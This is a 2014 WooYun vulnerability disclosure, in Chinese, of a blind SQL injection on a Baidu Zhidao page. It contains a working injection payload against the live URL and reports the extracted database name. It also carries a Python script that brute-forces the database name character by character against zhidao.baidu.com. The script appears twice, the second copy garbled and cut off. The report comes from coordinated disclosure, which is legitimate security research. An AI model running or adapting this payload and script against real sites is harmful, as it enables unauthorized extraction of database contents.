百度某站点MySQL注射(附验证脚本)

发表于 2014年12月31日
WooYun漏洞库

漏洞概要

缺陷编号：WooYun-2014-089469

漏洞标题：百度某站点MySQL注射(附验证脚本)

漏洞详情

披露状态：

2014-12-31: 细节已通知厂商并且等待厂商处理中
2014-12-31: 厂商已经确认，细节仅向厂商公开
2015-01-10: 细节向核心白帽子及相关领域专家公开
2015-01-20: 细节向普通白帽子公开
2015-01-30: 细节向实习白帽子公开
2015-02-14: 细节向公众公开

简要描述：

百度某站点MySQL注射(附验证脚本)

详细说明：

注射点：

http://zhidao.baidu.com/c/ah189" and mid(lower(database()),1,1)="c" and "1"="1

1	http://zhidao.baidu.com/c/ah189" and mid(lower(database()),1,1)="c" and "1"="1

以上猜解database()第一个字符是c。

漏洞证明：

猜解database()，得到：

company

company

猜解user()，得到：

[email protected]*

1	[email protected]*

验证脚本：

#encoding=gbk<br>
import httplib<br>
import time<br>
import string<br>
import sys<br>
import random<br>
import urllibheaders = {<br>
    'Cookie': '',<br>
    'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',<br>
}payloads = list('abcdefghijklmnopqrstuvwxyz0123456789@_.')print 'Try to retrive database():'<br>
user = ''<br>
for i in range(1, 8):<br>
    for payload in payloads:<br>
        conn = httplib.HTTPConnection('zhidao.baidu.com', timeout=60)<br>
        s = '" and mid(lower(database()),%s,1)="%s" and "1"="1' % (i, payload)<br>
        conn.request(method='GET',<br>
                     url= '/c/ah189' + urllib.quote(s),<br>
                     headers = headers)<br>
        html_doc = conn.getresponse().read().decode('utf-8')if html_doc.find(u'安徽电信企业平台_企业知道_百度知道') > 0:<br>
            user += payload<br>
            print '\n[In Progress]', user<br>
            break<br>
        else:<br>
            print '.',<br>
        conn.close()print '\n[Done], current db is', user

#encoding=gbk

import httplib

import time

import string

import sys

import random

import urllibheaders = {

'Cookie': '',

'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',

}payloads = list('abcdefghijklmnopqrstuvwxyz0123456789@_.')print 'Try to retrive database():'

user = ''

for i in range(1, 8):

for payload in payloads: